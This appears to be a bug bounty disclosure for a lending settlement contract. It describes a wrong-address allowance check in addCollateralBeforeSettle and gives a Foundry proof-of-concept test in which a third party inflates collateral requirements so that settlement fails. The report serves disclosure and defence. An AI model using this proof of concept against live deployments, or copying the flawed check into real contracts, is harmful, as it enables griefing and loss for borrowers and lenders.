#47118 [SC-High] Incorrect Allowance Validation in addCollateralBeforeSettle
Submitted on Jun 9th 2025 at 03:23:03 UTC by @Catchme for IOP | Term Structure Institutional
Report ID: #47118
Report Type: Smart Contract
Report severity: High
Target: https://github.com/term-structure/tsi-contract/blob/main/src/Settlement.sol
Impacts:
Protocol insolvency
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The addCollateralBeforeSettle
function in Settlement.sol contains a critical logic flaw in its allowance validation mechanism. The function incorrectly validates the caller's (msg.sender
) token allowance instead of validating the actual fund provider's (taker's) allowance. This disconnect between validation and execution allows any user to artificially inflate collateral requirements without ensuring proper financial backing.
Vulnerability Details
The issue is located at lines 189-190 in Settlement.sol:
function addCollateralBeforeSettle(string memory _loanId, uint256 addedAmount) public nonReentrant {
bytes32 loanId = _loanId.toBytes32();
LoanInfo memory loanInfo = loans[loanId];
if (loanInfo.maker == address(0)) {
revert LoanNotFound(loanId);
}
if (loanInfo.settled) {
revert LoanAlreadySettled(loanId);
}
loanInfo.addCollateral(addedAmount);
if (settlements[loanInfo.settlementId].takerType == TakerType.BORROW) {
// BUG: Validates wrong address allowance
uint256 allowance = IERC20(loanInfo.collateralTokenAddr).allowance(msg.sender, address(this));
if (allowance < loanInfo.debtData.collateralAmt) {
revert TokenAllowanceInsufficient(allowance, loanInfo.debtData.collateralAmt);
}
}
loans[loanId] = loanInfo;
emit CollateralAdded(msg.sender, loanId, addedAmount);
}
The root cause of this vulnerability is that:
In the settlement flow, collateral tokens flow from the
borrower
(taker) to thelender
However, the function validates
msg.sender
's allowance, who may be neither partyThis creates a disconnect between authorization verification and actual fund transfer logic
During settlement, the actual borrower's allowance may be insufficient, causing transaction failures
The logical flaw: When takerType
is BORROW
, the collateral should come from the borrower (taker), but the function validates an arbitrary caller's allowance instead.
Impact Details
Financial Risk:
Users can manipulate loan collateral records without corresponding financial backing
Creates phantom collateral that cannot be honored during settlement
Potential for economic losses when transactions fail in volatile markets
System Stability:
Settlement operations will fail when collateral transfer attempts exceed the taker's actual allowance
Core lending functionality breaks down, compromising the protocol's reliability
Transaction failures during critical market movements could cause significant financial losses
Proof of Concept
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../src/Settlement.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1000000 * 10**18);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockOracle is IOracle {
function getPrice(address token) external pure override returns (PriceInfo memory) {
return PriceInfo({
price: 1e18, // 1:1 price ratio for simplicity
timestamp: block.timestamp,
source: "MOCK"
});
}
}
contract AllowanceValidationPOC is Test {
Settlement settlement;
MockERC20 collateralToken;
MockERC20 debtToken;
MockOracle oracle;
address admin = address(1);
address feeCollector = address(2);
address operator = address(3);
address lender = address(4);
address borrower = address(5);
address thirdParty = address(6); // Will call addCollateralBeforeSettle
uint256 initialCollateral = 100 * 10**18; // 100 tokens
uint256 additionalCollateral = 50 * 10**18; // 50 tokens
uint256 borrowAmount = 80 * 10**18; // 80 tokens
string loanIdStr = "test-loan";
bytes32 loanId;
function setUp() public {
// Deploy tokens and contract
collateralToken = new MockERC20("Collateral Token", "CTKN");
debtToken = new MockERC20("Debt Token", "DTKN");
oracle = new MockOracle();
// Deploy settlement contract
settlement = new Settlement(admin, feeCollector, operator, address(oracle));
// Distribute tokens
collateralToken.transfer(borrower, 500 * 10**18);
collateralToken.transfer(thirdParty, 500 * 10**18);
debtToken.transfer(lender, 500 * 10**18);
// Set up approvals
vm.startPrank(borrower);
collateralToken.approve(address(settlement), initialCollateral); // Limited approval for demo
vm.stopPrank();
vm.startPrank(thirdParty);
collateralToken.approve(address(settlement), type(uint256).max); // Third party gives high approval
vm.stopPrank();
vm.startPrank(lender);
debtToken.approve(address(settlement), type(uint256).max);
collateralToken.approve(address(settlement), type(uint256).max);
vm.stopPrank();
// Create settlement with a loan
createSettlement();
}
function createSettlement() internal {
// Create settlement with initial loan
string memory settlementIdStr = "test-settlement";
bytes32 settlementId = bytes32(bytes(settlementIdStr));
string[] memory loanIds = new string[](1);
loanIds[0] = loanIdStr;
loanId = bytes32(bytes(loanIdStr));
LoanInfo[] memory loanInfos = new LoanInfo[](1);
DebtData memory debtData = DebtData({
borrowedAmt: borrowAmount,
debtAmt: borrowAmount,
feeAmt: 0,
collateralAmt: initialCollateral
});
loanInfos[0] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: debtData,
settled: false
});
SettleInfo memory settleInfo = SettleInfo({
taker: borrower,
takerType: TakerType.BORROW,
expiryTime: block.timestamp + 1 days
});
// Mock signature for simplicity
bytes memory signature = abi.encodePacked(bytes32(0), bytes32(0), uint8(0));
vm.mockCall(
address(operator),
abi.encodeWithSelector(SignatureChecker.isValidSignatureNow.selector),
abi.encode(true)
);
// Create settlement as borrower
vm.startPrank(borrower);
settlement.createSettlement(settlementIdStr, settleInfo, loanIds, loanInfos, signature);
vm.stopPrank();
}
function testIncorrectAllowanceValidation() public {
// Display initial state
console.log("===== Initial State =====");
console.log("Borrower approval for contract:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
console.log("ThirdParty approval for contract:", collateralToken.allowance(thirdParty, address(settlement)) / 1e18);
console.log("Initial collateral requirement:", initialCollateral / 1e18);
// Step 1: Third party calls addCollateralBeforeSettle
// This should work even though borrower (the actual taker) has insufficient allowance for the new amount
vm.startPrank(thirdParty);
settlement.addCollateralBeforeSettle(loanIdStr, additionalCollateral);
vm.stopPrank();
// Step 2: Verify that collateral amount was increased
LoanInfo memory loanInfo = settlement.getLoan(loanIdStr);
uint256 newCollateralAmt = loanInfo.debtData.collateralAmt;
console.log("\n===== After addCollateralBeforeSettle =====");
console.log("New collateral requirement:", newCollateralAmt / 1e18);
console.log("Borrower approval for contract:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
// Step 3: Attempt to settle the loan (should fail due to borrower's insufficient allowance)
vm.startPrank(lender);
vm.expectRevert(); // This should fail because borrower doesn't have enough allowance
settlement.settle(loanIdStr);
vm.stopPrank();
console.log("\n===== Settlement Attempt =====");
console.log("Settlement failed as expected due to borrower's insufficient allowance");
// Step 4: Demonstrate the correct behavior by increasing borrower's allowance and settling
vm.startPrank(borrower);
collateralToken.approve(address(settlement), newCollateralAmt * 2); // Approve enough for settlement
vm.stopPrank();
console.log("\n===== After Increasing Borrower's Allowance =====");
console.log("Borrower approval for contract:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
// Now settlement should succeed
vm.startPrank(lender);
settlement.settle(loanIdStr);
vm.stopPrank();
// Verify settlement completed
loanInfo = settlement.getLoan(loanIdStr);
console.log("\n===== After Successful Settlement =====");
console.log("Loan settled:", loanInfo.settled ? "Yes" : "No");
// Step 5: Demonstrate what happens if we fix the vulnerability
console.log("\n===== Demonstrating Fixed Behavior =====");
console.log("With correct validation, addCollateralBeforeSettle would check borrower's allowance");
console.log("This would prevent inflation of collateral requirements without proper backing");
}
function testProperValidationBehavior() public {
// This demonstrates how the function should work if properly implemented
console.log("===== Proper Validation Behavior (Simulated) =====");
// Create a new loan for demonstration
string memory newLoanId = "another-loan";
createAnotherLoan(newLoanId);
// Show initial borrower allowance
console.log("Initial borrower allowance:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
// Simulate proper checking (as if code was fixed)
uint256 borrowerAllowance = collateralToken.allowance(borrower, address(settlement));
uint256 newCollateralAmt = initialCollateral + additionalCollateral;
bool wouldSucceed = borrowerAllowance >= newCollateralAmt;
console.log("Attempting to add collateral of:", additionalCollateral / 1e18);
console.log("New total collateral would be:", newCollateralAmt / 1e18);
console.log("With proper validation, operation would succeed:", wouldSucceed ? "Yes" : "No");
if (!wouldSucceed) {
console.log("This prevents phantom collateral that cannot be honored during settlement");
}
}
function createAnotherLoan(string memory _loanId) internal {
// Helper function to create another loan for demonstration
// Similar to createSettlement but with a different loan ID
string memory settlementIdStr = "test-settlement-2";
string[] memory loanIds = new string[](1);
loanIds[0] = _loanId;
LoanInfo[] memory loanInfos = new LoanInfo[](1);
DebtData memory debtData = DebtData({
borrowedAmt: borrowAmount,
debtAmt: borrowAmount,
feeAmt: 0,
collateralAmt: initialCollateral
});
loanInfos[0] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: debtData,
settled: false
});
SettleInfo memory settleInfo = SettleInfo({
taker: borrower,
takerType: TakerType.BORROW,
expiryTime: block.timestamp + 1 days
});
bytes memory signature = abi.encodePacked(bytes32(0), bytes32(0), uint8(0));
vm.mockCall(
address(operator),
abi.encodeWithSelector(SignatureChecker.isValidSignatureNow.selector),
abi.encode(true)
);
vm.startPrank(borrower);
settlement.createSettlement(settlementIdStr, settleInfo, loanIds, loanInfos, signature);
vm.stopPrank();
}
}
Was this helpful?